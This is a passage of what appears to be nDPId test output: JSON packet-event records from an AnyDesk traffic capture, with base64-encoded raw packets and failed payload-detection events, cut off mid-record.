+00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1338,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5052} +05459{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1348,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":101000,"pkt_caplen":3805,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3805,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfjNAAIAGAADAqAG7wKgBstOUG56PJjatWcQxklAYIBGExAAAFwMDDqJZ4hNO+msV\/8hOwI8XnriRmb4aEc3sAZ9hgJuGI5cRdB+R0XbzTntUoUqgpAmwdrKKUyryJ0St\/Xh1Uw8RwLxis\/FzmEzIXwfbJEg+TURrLZySuS8AUK4WPq4ZSgPug+GmnuX\/fUg2uP+bO+c3yHd1EtE34Q2rV7BEDwsI8WB2kCIxbHDxCADyrHImyYwaQYRIO2Dj9jC0HOH0i4GohYt8Ufl54hE5fw8rvVwU9xXd3eHZhtzP6N82NDTl0wgMtpmOrsgARgEhjd0r7Leiq\/1IRY4vbhgMhbWg4eIvDjaUeUa5EpxkNLF4yZJzvW8lgL6EUISRajxPhA3mrBk3DbO2A9hr53dkPT+exkthvEekknPeglnKH2HP6RNO0a1ZuwvJrlpr3sxt7ej5\/AjQ0V0S1CPopHgU9fCFHVZqVHp3nQ1jyKrMeQEovw\/v7lDRhm64HTs00n1GGEVWJ0oEKEmEpvpqyIVUBcloXsiRIYbQltXdfovko2UqzOKJ\/uGM\/PIDLUzmBmA45u\/qMYoA\/WGVVGYAGEOXnwJgsxlZKQ4PnTHyUdV96T6CLvWb25tdW51H9X4Gam9ZeUGpvB6zjB9O+qLX7btvgsiF1RGfzk+C572tqBbeCMiu6aHSFHTGRlXre3nbwglynNyeLfMXTwJw65UDQ2imCiEaPMWFRvRipgfg7JuM\/2ZodTUkC9TIVl5HPo6NsOgA00jZfk2x03aqUrW340eQ7ewxczVPyz4LMPOM0\/HFVve6Wt8TI1jXIabQMjjl31tYIv+JKSb4tSvsNCKWuYjCcoInQyBzJuHrAm2j1fjC1HmAF30YfC3kndNn7IWVvxfEs+9JSvE89wUK4td8akox252Y92\/mMmMnn4Ghq9MT767qqG2ahO9MwjYDuVP66+BBmECQ9rO5rvZ42YYkqMgxUxUKhodQqk7wUsxQWdWLNpvmgPzT2XMjks5EZUc7ecbsHZsKxEMw4YIKCLTqwi\/LqCZrMeaikk+bpJcXuSYtoPHW+U2IQpZiHrujMUsRtvoxROwWm0OpLsugxSJowR1UjiQIeTKd4SBka67s98JmiPz4\/JakPi8oQGQV5eo8PiiTAFcqiKxa9YM\/eD9rOFgio1\/1GR5HBKdwKIf2zSvyU7PUFMol+qB917j9djnVgW92q1GLM\/EJo2fwvW9vuiZ\/HMgIAXlrGk6CsJC1A7rpXQXlDxUn+BmbO5WYEhtIU457jHoXuJSySBnIuPiZmZu6Xc2OHAHDdoqw2npeExWpkA+uLw9rkqrPlFqVN4Kiz47S\/rpcf2IUXf9tucOUb+0oJJVz+26BtdmJYMnH3F6aDQvJzsbEkBw3E0KjZJCfIyS5nNLbc8JWZnQiuRKxLAgM+3NZZkb72MmdOnV50JIbwl3qiNvoGGh+Qes0DFCPLWzsOrIv5FkfFyxnouVdBgX\/Np1Z95ohAnGbfs50PczyB3+dJAZmcu72sybqsNMVapCWOvGe7bMq+eczCPQxFl4CrQkUHjwhobxA25BIO61Nr\/nCge\/14UdSyYWyiBtWSQqgZcOK4OQLvNl3Gh8QhD\/fRm5snhtLVi4Sp5ySJGNlXc7kp8zRbbzAXDajkXh0rIQ7bEvN+Ku4PsBnmTubumje4svzinHOzOC7gYWQ5cQwPOf4mPqCGdIcWMvQN6NTxMdM+kJ8N3ZVcyzDr0Oe+RR3hphTxeJiBMLjeKrNN2Ibr2O4bSVkJeapAwIaKIFb3HEXh75Rd8mfWWcqrCBOa\/RiwZmWFvXN3rKhpaUfI8e\/9L7OsGaj44yWToaP2FpTOdAAsgeV63tVFMj68uhjajPXAlFb6x7+f82zAm3LZcLdCwuxMa6h4k2IJLZg+kF5aFOsF10a2VRq3sSboYLRv4PyXkv47fCtgNOgVBLsafKriIlRKWSzQvtt0u9bt7Ngq681BFQZpR9FtdD5CUoUlvQnsNcmy3yyZa7kLwTXbKhGKE3t8WzeNy3PEBY5ZERwtnM2R0ahlod\/C0y1ttRagSiLtWW53yU6l\/F\/38ouIFy2ZAZzzyuzRhCpQ9PJa1xCClAMLWdwnZJ4vCykf2rbjNYUqzB0TP+GEHSD5vkofyCz5hNnjJK4uxavYruYXcfuvU+ZDZ1VRVEwPpfKxVbvhtpc96JM8iD5ei\/Ws3Li22YIKcdiAjqckFFqDE1lCglLtemiINCkxjmoFD1jrzQc+8E50u9NligVTEZC+wokqw6O2yQ7\/wVLvjo\/KcsrB\/9j3b1otzRvAFbbkrT+5dzJbQrTzA9osH67GX\/uRUEX9Sihq0HwN9UzDAO2rBWCFSifaeHJft69e6IVgIGdlyHP7X\/bRNWmeYjO2cEWH8+RtuH5CCKsuoJ31zq8m99eYNEx32FMUt0f\/8P5HIzoc+XW1ElRYfOSsRf876NavL1hA5yu9de+NatHApLx3cl7cxglYI80FkGoIsZnLhG8hF+R7JANA9ipfCZrQVurwTwZUWPA5j3Lj7sic2nMwjt0D\/xdg0C4mjYwYnGxBJHFmPfrfsZ3SwX59UBZI7C\/qscX+xJFvMvfUE+8LBN5Hww1tmgIHixEeAAt1LFyukVicw7k\/x5zxl8IFoVwSW6FfyrLEdZhqTDt2CnvUWMc00Q2mbqV7Qcyx98a5woBCgoh\/T9pP82MnGvD6WK5DzSyMu4wtYrqofkIVSe604D+r7YF5iR3WY33e+BwrViMkDuhLgQZgDW\/KKmJ\/B3KedkoX6C1LQgpEUDmOpqpvK3800T4YfiYwW5mXWUqUAWgeEUJ0pABW2BgMDSjrFJZZVW1vNIKo9UcmMGg8UmEsXA2CZRHB4PwXlLErU4Lqtl7EI4SbxI97DIEzWy17VaPJvNX2YTA15ICAWHgERAtVt6K\/FPUQCT0l9+ZF0dumXGtGmVuXoToo5BoCa6x8Xq6YTuz1Tl9d9RGOTFEnvz1CsDna7kKoe20VvYal9\/KBncEd6PtCHqdmcrSgFzV4SbtWAislJv8QujTXRWMmYuXv+ph\/k9TipmKO4v\/S7k8Cgw1XajL6uh30AG2UzxlqqQ+0MTbK9Mnmgj8NLinJzPRkzcfeHF+b0TNSIFHZ5D5LrO0CmyXNGPY3C2ZmHcw0\/cP1VwfOVFOMcLa\/H8RekHPWJAeTIGFa\/E+kLMWM2T09ac5+z2bv+hMr9cozJSzegp38H9+4RoiDJ03Eb0O7tNJYSvTN71yX+7Lj7wgSqeT5pWVo5TzDai5x6cC4Wq8TX1RdWOb\/WX0e5EGCmkTimMJQ0SaFmda6QrAFq8QZfvUn1fjxOoZ8fV8LQ\/At3s4+nXX1QbusjXHHrKHG\/+1WvmgIaPNULBKyINz+wbexGzJL5AgDUUirbarn5BtKozQEZPdOCQBJ5rMbHLyc7UnN\/4Pu\/J8R8+ItSdWyZMSJQjJs\/9U14kdtdh4x23v69OGNyVfhYiJBk3pq7LUZJZ80UMKyc912\/5lNcFvth94SiN5r9\/lNGg8Fy3gKZTz0+a4jqcZO9PF+NKUIlvGctG+YDyvxQWaK8Nyk+3hz5eh0TJJ9+RmZjTuGBH7BcFMUYWI6pxrMWR6u7fugPRMm1rzFSsgcgrM3gvdaXrDynvMSISsJ9Vm3RnuXPMybbVCWM4vzWli1f1P\/TzX30h20hQ8QZs+Djf1MoVJx1\/jNtEILNiH3A8rhrsNszjueVb9nPlEX5KnVtLIM3japwd9F2H1fNTSdZP1ujKMQ+53hEjfJ+dfXGYLJeMewi2XptaZDRLcBIFX3ozMK63483\/bh1osKL5dwtrGafiTjjzBENBFZofqSAr51ureaOqDNw2i86NZKe7C9svJnheOfxUSakfyrH1Y9PXVqWwOWLluHcoqzKmad83FuD5ICWNiOsP\/gPTlXZusMNzU89s6zZG3EFKDi+A0EwDSFwb3jJIrxKV6dDl6npNYllt6rIoawrdoiaE38hKXTdN0S2HBxHG7nl+pn3UBwtcadCY4EjjxgTbpWo27CmZgOp3yCpDNQlfOag79JW9XQM5bGir6Az6SKGrO0CaeogA8GlerlvdYRB0Gjum6ejF50frgHxrDpEmOwyhl8kPqcbwUWJZkteGHo23yF8pKTfmpAyGDkLRYX5v8pVfvW7fh78dSQQWzQ6PlehpBR1UPopo4nrNWAnlfcruo4o0X1ybNbSmf8o9FMMCvbFnmG+Zs2c+eaEGq3C\/aKo9t0bbN0V6YAFyJdg2KRAi1Z05hF0YC\/wMKBW1Focg\/vtXDVZV5Nj0g1lv45QeAX3Ny7inbbfNhq+q+Mdh9w9HIm+L\/ZLd3FNIMsUoVEhOdkoqX85Ur0TmxoP+i\/7vytZMm6XJPg1Vu5nlKZe1TSW3HB4g+Tj6Zg6BVsFxjfMH5D2hmjBSTpKU35uEGjo0jB2rjt8XpjeyfAQqBSJywW093GdwM7ODFc9GxKd8rfCREzsiPX\/Oq2+L23e7FGMHbZr5HO4wKHWxN1aKt7wlcSEnOxwXDdMUk0wqDcFBK6TZU4LV9xeROkhH\/DzPKqgmUviBG3jj3FPs6gbnD6lFnMk9XlwteeQg8\/NRZYUwgaBGMCsfa\/QPioLovYX+kIYQJ1CZisr\/rnIZtTxZcjDaoghqm4elMj5RvP74OPqu1oTN276kQblleul2wvYXTK1ct2XTk6ZomkHyxeV5UiQSEaDXE5gWHEUkTIEyllpJpl9LQkvzpEVs4hmqMp5Wxokmo0lFeVEhpyxmOkWnW\/Kz68Y5MegIL0aWrz6+vwcn8egkb33+7zdf06d34C2hob9gU\/in3C7ja7DEMi2jR2Ly0q8Ftu+sF9\/r6JVoXxuaKm6Bmz1SCTh4FvmncICs7XPoCngnAsx0IoyD56X2rM9ew\/qO5AhDrRRr0OTRM5\/fEXbhqEvdDAnlLnxl+LLx46CAYdWfS+gogr82fH4kEbrYilQwDUUJBJzQr\/t7MosW74v+QG3YS5X2uPK4DOpddzBlmfGvoyRLSkvECxIAGUosqjdWwDQzBbwlKS5STYA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1348,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3771} +03948{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1349,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":101044,"pkt_caplen":2695,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2695,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfjZAAIAGAADAqAG7wKgBstOUG56PJkVUWcQxklAYIBGExAAAFwMDCkxZ4hNO+msWAF98rEjcW558jfzEavWJLyrGefSXfAHa0cBSkyHU\/ZOUoXCuk20JxOS2edMAeuqrRhgbPvFDoqvnGkxsohyN2jueu69VuyDdep1MAvPFI3UaQgRebxwLvUxEA0ctciNoQCWtpgWSkMsHhPfknbXrIE90juZnEjEcLK0is9PhIrkUoUM1dbfM6mwFm1bhneAl\/OwfDKkUyc4\/URMHQAPVIxkTLw0ShL9h0Jr1ZF+aHMaJcA6K7c+MuQb7J08z9HVXOdAf\/\/6ofRguVFNv2tzvaEdH459hcscs55OcjcjimHf4sPIlTq+HAk0fY3EzOJ3qIlQYwWv94bvfF4vpnIiMYOMHcq8X7nHiBgbzL7etxGYQmHVgjJZ8KqG4rRxDEgTzI7ydwSEHtv4Tp+sssPqarPGSvEGk8cGWM9Ojn1kdYG3SJMBU\/28Ht+HfIDjTVcPLCCU60TzykX\/yaJzoA4BWrDdWFQfDuIKSk5vsIXXhFCvWphDiV6mqKPFaGgeL3Z0E57lZav+uPdq\/7Sx4kZkt8uT8c7rzOZlJsRZjNdM8RQ6QaQC0uQeCc4dibl9yzaslreu+N+TkdXu2zOp3zDKeNTpPopSYXY1wwTXoyhPFznFwcpP3UCvoDLUMfVnZOLTt4SE32e3wBAvOg5j7iWSJjpatKBfryYKLcxNV\/NUQ+TU4Vf8BQ35qnNA1AmQ\/5+b6TwRPCaGN8xppELtST1azMcIilJlHIMAzy7vCRX8NUj11QbV+KxVZ8NErKm3YRAwVxFIVm5eYCgdtJHofmi6qWD+LTWCjU5SSDt3sVZrTSfgcU3juocuHSzDLjUNrQVsmXpXGH3i82GAxj6U3\/QZkLi1qRiSoXYKfYrmX4weYACvspCwv1N7MLacla8TKT5LBLvPxpoOZMFFAPU5EI24AqdBhbr\/eKXsn4LD2POiOWcR2MVAauyGSTF5ySNGdNdV9nYawtfKkwXEARkWFTUqSnjFjN2aVB3hg2oJz9hcQY0p0bEsyykSVCk4ZyGvJb3VCZFl\/ab7mpwRVm8AA+pl0byVXBSobTO1RS0LptMRC5ShEHMtFJLXlaoLhPhpmi\/MOFFQqRLYFbH7FYAY8iW0M0hBnUDgYgXHM3Y+odWsNOILAwSJO7LvXPP9IEtvVfTDVI2MoL\/I3hQuwhWXxfZ84Z+lXIUmDVkmyHIzuuTyp1MEW5YiX3\/wkqzZBpdZHlpgCTS73Lnxf7NvRQf9onFEP9nJNC4Bxatak3KB0xqZLSaWqaxO90AbD\/nu98AybAe3jYpppAnTxUYUfMokDAMzmLbx2vEG3IpVaCDsS5kIYEm57RXq9bfPP0tkLeH04YMToSCPRPMRdjzmyT++lz5pf3Zm6SLH3D6eRCYgcMp3gryHnLZOQnyuBl+i5LCkgZIjf5ymNP6V3AkbaQnqPMvh1umyIwC7M5HpQgj0b1ZPQ7T0sv4LqXWW\/e0INmgJzZKfzZ\/XF7z\/Crnx91VK8RkaevQDBj7Kz\/HOBluIzp7zs0AT3zKdXlHyQkqzBvq2IJZfc3PZyN6ommU2lflY9r0xmXAECIAYaNcCL9cswcs7HD\/xwemH8D0MQjrkd1h5zO6+HmdhS0fWLyw4ZCCHrMFW1fcBhAHEoTcINYXf3Az7Z\/e5XsckXz3x0F2F\/I06IyJtqvQJchvBINTpHkhG3YdV9rdyIZMqBEgeJ8ne3aTNQYkfWajTvsdY8mYtAe6L71n8BNYV9zNT+lhFv4090RfeV9DXSXEeFNwd6W5hTGzuivM4XWebX0WBhNCUBOQBff3I8ZIp9lgaf0zDkthkB6M5Wx8PYU3+HrPaWDfPf31hEqP3JFQoRk+yGxglCCVnj1IPgTw2LF1oiZjH30M+ym8QJ6KMeaHxHjPUco5a7AVj28jXkIwl+fFCOaAoY5cYc8w1NCJg8juIGIIPKj7OnE1Ycs\/w2voqeqKAxOgHlxbO5K20RizoKyFQUDZjOgMwC9H7mW\/peDHjCQFwdWhV3dqDOGQCRQUlVJHyJQ2+1Ea70O2vOCYsYgjfE5kVO5qHZ7orc+7mmPSqBn5ii8Ha6YJyHjFF1SOVyOqpNwiQwTovxKP6IVt7Ypp6ODsQ5fqXXjc8D7xIcS6SnBRaPShXHr6iwB9hO5gBzWWUlmzY4VmgZ1GV9RC\/Sdq7MwQKmjTOKPtKXZaRaZkGwi6A+gECrvw1XxdY7K\/lj\/JmHBkCUY6acvFgiKesJ4hxt3NZro1mADyTA1myFcGvdmqOXRftDF8mFEgLj4+mdMt38B6yVlJeVFnVVAgDtrACp0fBMV+nL8MwI25JI69boclDdG70+7VimYGMnsTbNDBjMpLsCjvdkrN2mqdgcH3tCuGvgHyesbNJdLrBnQBvJovErQ44C\/Z\/Ee\/eTMxlF2EpShwgviiur3qDHOqJRwqbml0zY1YE4idRXhRlVsm0+o6ZCE7fFYilHaFfBqgfF2yOPewHedR6OSfQ58yEe1Nyxpb0WjrOZakB1W97bgvvl5QD+ePcYL7rJBuRwCuGU7PtlbEXh0H\/qHLnH3VkA2cTSb4DOAErrbxBFwbwGy96TGQF5dStLWEx4zMZo2gNDtAIysZzxbJdx06P3MIrY2NvbpCybfEXhXZOa0WTH1X8mxtcM3YRy2lIW25ekrxx4HfXTufSSOAk\/YBtyTv2EEiOkW0G9IPYxOh1BixzjoN870xMNXEYsI0NRHBDrpCmblMdVA6fOeEvo3JBCuqjIDfA\/bk\/PD1FI7Q\/n1BqgkSxhAwoZ+m1qu1oSCK2vYZnJ87QKQd3Bt8NdKE4KqsN1ucjQwChs83V6aBdInOMqMfe+oyfrNR2suwQ\/ELtHPCSdDVKvtX0E2SjYFkrlUSVWbkfBgN6+FpA35abE8AJS\/pT\/mDM4x5IlBsGeThVgn6xhoSeVevKZrXwTHwjfjFvFeVvU3NAyESGILvv920qekzYnrrWxpDl28CWBWUQM6ELspnNE0MgbEL0UVHrOop4x61kEyUEBby08SV2XBhTOb840LTWmVK4uwH2bgryiFD\/mwCdkuvRp3bMor+xXGkiILUIPdMp\/zudT3cgnc\/ZQnrwObcaCYwPWeHQGu3sxSNOBzzv55f6BZulOGZCQE+qnQ4lzDPjwQ5Y4QTUSC4iyuULwPM4PxxzI1w+D1BgMppbmsGfY0LeVoWC6snCpopKpM+2tDNv4Gd2qQrzPzDJJJKrtgzhI+mayq7OIbM\/E8TCex5QpeZVJtHZ1T56C0MbymNGM4OXdpIeXfinZLQFCl5kAscG9YMpgjdkDLELrQfiD79MXoo0MyGz+wssV1QgV39FROihJqJImwOrlO2O0L9yin6oSii6JcWRyiuwkm5JVjRApBoJ6WZVrGyDH+LfJ8OwxaPs6DI9gKlZmfq2ZlKTNPg1\/l9ea9q8kTZ1XEAJWSOW6zAyKF+sATYudftkz8x40sB0\/O7l4xCaW9loDNjv8OwIKiYAoy0bCScCEMIDn\/z9k43+Ptqc496oY9gynUQ=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1349,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2661} +05383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1364,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":134396,"pkt_caplen":3748,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3748,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfklAAIAGAADAqAG7wKgBstOUG56PJlwHWcQx8FAYIBGExAAAFwMDDmlZ4hNO+msWBLq7WGU4H7r3WBFSwv7NT8EUK\/N4lbqE+HXMRHXawQcY3QJ3BDexD4jiwFxVv0pJ\/ka1Rvr72PXx14EogNwWz+VuXg0XnTVUrfxH+lAgX3XcssWwKPTGtJOFXi7Wmp2I4cpAkgr9b79QJL05wVUM1eM7rdj4M3i2pvjiDz9WVD7Xvk5jwweJg53s35XrWOS5fnH9UIZ3qTpQvsCLMOy2AF8g9ytum9STGGCLhjiHSFmw3N5Hh6+hoRXttEyHb3dLwdSJqQmvthqnHI9NaSJEhwUi1YuJtlrJg4MvYM+6YRxIxkv5dcvvHp3sNbLBuYc++khp8Y4jmh5qnKKdhsHz45o6NSsNvSgjodl3FXp2n0p\/ao6k8AXqrTCOLki7JFFrctNaNT+S08Hk13sRBJQbs4a3StCxi5waAby\/65IVcrWKUBmlpiaHh5RrF5+inejXJZXQ8unx7neHvd3B1cgp8gaBRZCkRZPHIjcGHgrFefdklyDpjIOdlIqz3Bbm12n5qBbUgez08r6k70McT0k+EL6BncHe4wszKGXgQ1IY1d4vAD4pVZl4OgXQQQdb4p4ZN7T5LqZl2GdM2f2Ndd23YpoiOlRsDTsxSUAB4h3Pmoi6kdJ89I9jlz+h81HZUmyOFqKFROW5EjTqKWVDBoYja9pMeJ\/4kCrDRoqSiIpTpkzL7hcCZRDwTQ5JOCB7UlHZT\/9KEQOB5wESlam74jHzP8Vekbfy8pvoCKBk70NN9VvahntEK2qireS8dN6GXbsGVPWQhIajg7dmuA1bYkRpzvYUdpeYfk1puHViTyRCAAy1wCyqhcheHr+usVUF2lRl97Zh5Pf\/yIIN6B1CMQ6uhoserCTA4n2F3rm7HE\/4H9IXFb+5CnuHhm+7b9h90xvQq0U2VGsUcX5mOtSjoingFX3\/w60Emk\/cCbkGebFSN34QOVm0x+Dkr2u44N1xdMoRzDmSh+OHxgZFH68FX31ZZ00hcKz5yfmJNm9wdWKme9v1t4xHK43\/RQL9tOMb\/Ks1Bn7M1eTzgqtiAfwOAK9gh45OU7+0rOxwIIVb+w\/6A9TXMtsFaV4E4t8ZjL7vzn4+Dnd8B0qk0Hj4YIxahs77xW1AzWA8F96x36dOnw+HlKyGk+BV+p\/BpSRJ4J6GTag\/gOJMToYAuf8EaOcAwP7rKuvZXNbUxVtyL1NjiWJbBzep9LsJT+Wb457xcSFl0PhHySA6DXCbq+3Z4BzZruK2ZwUTe7Fcd9w5WvbBDIQD4C7rOjYpV+\/Ml8H2eZTDp1Z9gRMeFwNFuxH\/4wVF0+avoDmzk3D\/mhDC3VVvJNL4ox3cyO1DLEbk8bIzrguRXzBxb\/jhiAJ5Kn2K5WVA87XkmmrbNghv5Ckpa3xFuyZ+QjeZvYdJNjzOPpKUx29WpetYjTINpPtkVSmAYDuMu+Dwyu+R413nqLQ2chUiCJt8HPhB68GZlZL9ZPaTSU58MqqINeXvaIP2Q+snr75LnNHmS2j+gNwzfZlTKywf9rTSjdk1uzgl1mSh\/x4N2Rm15cUrXliGw2fgOzRHPBSVweS+K5upUyqa8C\/JL2Zw32mHomltfvECS2EPkCUO1xbIRt2Gp1aUPYo+IRtVHhCqsah\/myJmfUPXIK84fsPn4N+6xHYQvfi2lC5Tf5BO5KT2b6kTx9OhABBLoSQdbKx4taGDRpbMqOrIOH\/27WMhQo+hkX0wNSrX03\/wgEaogVTFJfdeG6EfD8Pwb7OWqA1orjkRTeAfE7J1M2PXRO4hJbOMJZQ8xa2\/AJ0L5ec0w1h6Qrw+X9Op9nwyR2NUlwbC+RZTVeXtK+kgRh6RXTMJjcTOJdGN5ebs4MMXz6FGedaEa+2mwQpnNQhCcS210j9SjDVHLx95HEcLs3DkPpv66C62apHYATxLac3Zp+r6G8wDYs5GdEUoG5Si8Cl4AOI9VTpZbSi\/GTZC7XgIA1GzuvYJKcODJKro4UyAzX3TQ4lahxAiBPvn1Qut\/DjS3ekKhTOKhXrTSuTKt6kOspfFq45FwqzCNN+DFLZHKKC665k2UDNYexPYQkKw9fxxUhi2xmONgCteJXUn3rRFkKhIJRC1vFEDOrkmmF5onby0u6SNkw\/9PLgnMrbdV5Yf59vgv20oyErzj26yShUNoel3KuOv8MpDVgaH1EYSEMztdruv\/KGa7sy1vFYE8CoJigveJBY9Zlz5ENpUONRCCpZw1ZNvs+tEIzmuo7w12udywYVOATYri1SXn36VaVUgJY3E8ucuTEzIKvu3Enkij3wIY2z65MsQFbxq+AQeF6oNE\/gxBZwxH0it9tRzeeiY8HPuH80VwjYieb1imx2lI2U+E2tr9b0MyNT5PuO\/yqAwkj3dgPH\/M4fzbHIhg9upwWtZG3PcTNKpXve+DL1YCqlTaTAhdsrLg+BLK6ELed8BrhDmBfzEiAOawKtPQbUb2PB7QjHLhD2rxFup0\/UyvLMyYuIKu7EI9H0rbZ7\/31hdodMdAVfmCMRc8rcpTF0uzol8\/VgSKpq8hhjS2sozDahFKnat+Ve+SJRzkOmXzqOLcNaKos3Z5iQaEWEUVtFAk3t6v7ghN17ROXU2Zw6eqxIScgpN+KAf28vk8+9fG9W3DszJTwNZCwG1+ZNJTH\/a6YIlV5Pa0VMxgL6zeEnwSBXSiAxXaLHHd3sXAMAgfEnjOa6jF9E96YQ5Ef0NYNeFtB2Vz8J443y35mdxr5tSDWNyBiEYpw3+FKwQpIM1Dw2akJWXi\/+vY3c6kc\/5MsRVxThNlhPSiUIxMJ2h1H3uIFEreq0IJ9zlha+\/YCyJvrnv14TEHzTdVtQfei4JVOycoT\/YNBHvBBshEsimhMsnzugiteT7CnANgHCBn6OrE+WPOZ9u1Dyee06qoO9kfcwIuelZXmnv7Cxa8os7pJmNc8NNE8EWaQBRcC\/XF8q\/SVDNqGf+bafnb0n\/lftmzR7Gu8mFv1njFdb\/zW6MTXilP8mcSb0HC+H0rS3L+IdxrrX3DAvc3IhI5QFS2pn5cChx+wA4A2LgapVGYbd9SMTyXUwWHVWPW5J9CEsOZ\/aJvErEqktSRa2y6twsd+QGEFccYwNRzLJVOg+c4uP9G3cWCnMyN6ctETmuFw0XnQFgCpE4kFJSD80i6gMriu4dcMDvfL5d7kH2OlwY5YFwAqLdYMB14f0\/PY082ZVhu0JM2u9Cfnogu5rc1pQIn\/odByPVQMPBPCx\/fPMKbSOxckJJXwVXj3OvTKLS5cod9Hqu04xl0ci\/kcGg4y7QflWLyUydO2\/ONOlFYw4UZCM7BRG77ndBqKJgstOT8WBLGKkMKMs1DlJyuOVc\/OJnRIx45AzCpKUvpM5tJYeJBH6gkOVdMBMVG3dN0HESKybuasWvrEovr5DF9IszQ+SxhLxgCqePfMER3X8FZE\/dBBbDfGt47hmlagRaRCYz7vKQIrxrBM1M3\/C65hqsIm\/M+goIEAGoaC1YIy03ftBXUi49QYsYTFsAjzkgQJLv3cQFiDZe3Ad0nq3+Bxp4c5BakYvXqTwooXV+xL9V3cBYnuIXd3LCDHviVx8k8l6p1pJnkAUyg31XepSeqqzx+WdPmWTAq0yldxRDbB8yVUeKTnfROuEn2P1z\/o3R3n4y0Vky+TELW3qaRYFoGOQoINT3RnFOUR8qC5s1k3NTwETGTAPPlZdcUJeLMu6lCNxLmfEgcWer+TIqOC0SwSWfU1GkkrEEHlvadpSrQNgEkBU40o7McEV7E8IblTmCFjYortIYBNJGmZN1hIR7eV1TrQRJ8fckNT9XcL60mBGoE0h1FoDuG0VvANtfqSJK0cKZxhuHQTT44nxUp3TgPklJpc+BY1SOL+WXStH668UjuF7yeNx9M1cwL9apB5HrP5B3ZpugDh3wJK5eViIBPX4jxOcA+5Ur+yWY1wv+ZJpyUDWWH33HyO0eGbRAkla8HhF0J0ffimQs5kWO13SnGmWAOBOjh\/BSJp4rhnCcNk86pnjMkRq1wUfqftjy3sQlyk\/UKLbSqBnsy5D\/iRCCQkmqVJPjG8J\/Upufabwxsuu2t4fJK0GIKdMvCrDL5+JDFIxBbirp1OTua1liaGGVuIvdl8Mh77g\/yixMXcPL+7Sxe6PBwYSi3u25D7XueHqX954LNVcLM1o9pooSJfwWo\/\/U\/wOA0t1WoteeVvfBdyqTvU\/LqJ3OxE63mwR8J6FX\/zgr46kmV9tJoDZOLoSr\/sBdUmpxyvUKKTp8J0Ml+pzzH7JC3SOzgdyf\/Z2TEDOTsIbKIvRHI2rFrFFWzXp23MmZAVC1l9G6KCyQ2eRe5+Lcn3TwCjmhIb9hySa+Icy7+3utg6qnVt3GUTMkgn9Omml7+7Pqtf97T2h9LiSuTuCPvEwumek2y\/4e856vkmDGxfwjs04KR3ON9cMXckjheLlcfx5N0WepGdtBJ88ygB5vfLXXlOoi3RRY9uINAM3wS2W6TEACXf+4akz6pntfPXlSfQwSXSramy\/LasVTEvxHLW0YjXOf+RISzwknfF0c9Wi4UCyWxK9DpZVnpJrBLNUjy\/W+1Xn2XZ2QlboqdxU9hCjnMUusk0onz3fL+4f2xz5PhPYFlRFX9nPCtaDTULQsB0mbu+WWpM5QsJ5OqxR4L0xXy1bEAmvhGScodif9oQrr4GZN9r39CvP8ZnKYxRkKkos8tV559iQcbMgr7rh0ySXnfYV1V3ekWZuZVXfxlsyO7rN0v2DrXz0WTs14\/xaa9j\/CzapO\/dBYi9b6mxNg\/XBeX\/GyY0rM35ccn\/ZTTAq8clHeOzzUvn8J723dR\/MHcFxUWqTsATMwjCmAjwoIGgxsptdoywtIXsQ7U7+V9o8gsjIFeIt0ywbIhn70Vt5yx1lb9MOiudQZsGsJfmD6\/Ajatgf7uqwwXJ2kW2nCEYNFxA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1364,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3714} +05369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1374,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":166724,"pkt_caplen":3737,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3737,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAflhAAIAGAADAqAG7wKgBstOUG56PJnDCWcQyTlAYIBCExAAAFwMDDl5Z4hNO+msWB9DELb6bXFdtAvu30DOSnBWUbDOMElG+DOWfuMUC24Ea2lGZCvTA\/1u8EsaQx7oP53q9z\/539GtHElNn7onDtvvA5xWSKOLbh9IfB8kUDaXngY\/a5ETKv3JS3HAkiWq1oWtwRZUcLHClKSNjEx6dqS5icDWYXX3iZDtTLzzo22N+aomcc9F2YqLcByeXU0odSJFQXSoNYdeFAiswZ9ip14xtgC\/\/9\/11ce6s6UXACoJzRjzdqhQXpwpVwV2N2LTqsTB8kqW7Rqj5inE67U3uvdDyycoqkn3EUCPHNlqYu\/0sVQzGmawg1rfXe1mgAs6sRdHyp3su3ZAvkEyeLdbu4WBmNSQtrIO61AJ\/ZAINjskolIsLNUy8iXRQV4Hri5f65r4tb1xBfb0ic4lFKyvhjI4amY6le4MSBZec2c5RlHbcHReQVY5XFDj9ZwLJngbvFmxC81jTMOVTQBqWdtUqE7I+HhnyZqxyV0gQNQnDuPhkL1rFcgZn7XKmwfVvS5beuwOE2hP5Er7FYZ0UjHXhS7nMFYlRXirq86k17ovld0eVOc\/XzAkps\/7yaEes4XHX18Gct4VKo8BdssWFS